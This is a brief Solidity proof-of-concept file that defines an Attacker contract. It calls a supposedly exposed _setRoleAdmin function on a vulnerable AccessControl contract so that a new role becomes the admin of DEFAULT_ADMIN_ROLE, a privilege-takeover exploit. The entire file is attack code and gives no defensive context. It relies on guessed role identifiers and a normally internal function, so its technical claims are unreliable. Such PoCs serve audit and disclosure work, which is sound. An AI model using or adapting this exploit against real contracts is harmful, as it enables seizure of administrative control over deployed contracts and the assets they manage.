PoC.sol

// Assuming AccessControl contract with _setRoleAdmin function vulnerability

contract Attacker {
    AccessControl public vulnerableContract;

    constructor(address _vulnerableContract) {
        vulnerableContract = AccessControl(_vulnerableContract);
    }

    // Exploit the vulnerability to assign NEW_ADMIN_ROLE as admin for DEFAULT_ADMIN_ROLE
    function exploit() external {
        bytes32 targetRole = bytes32(uint256(0)); // Assuming DEFAULT_ADMIN_ROLE is the first role defined
        bytes32 newAdminRole = bytes32(uint256(1)); // Assuming NEW_ADMIN_ROLE is the next role identifier
        vulnerableContract._setRoleAdmin(targetRole, newAdminRole);
    }
}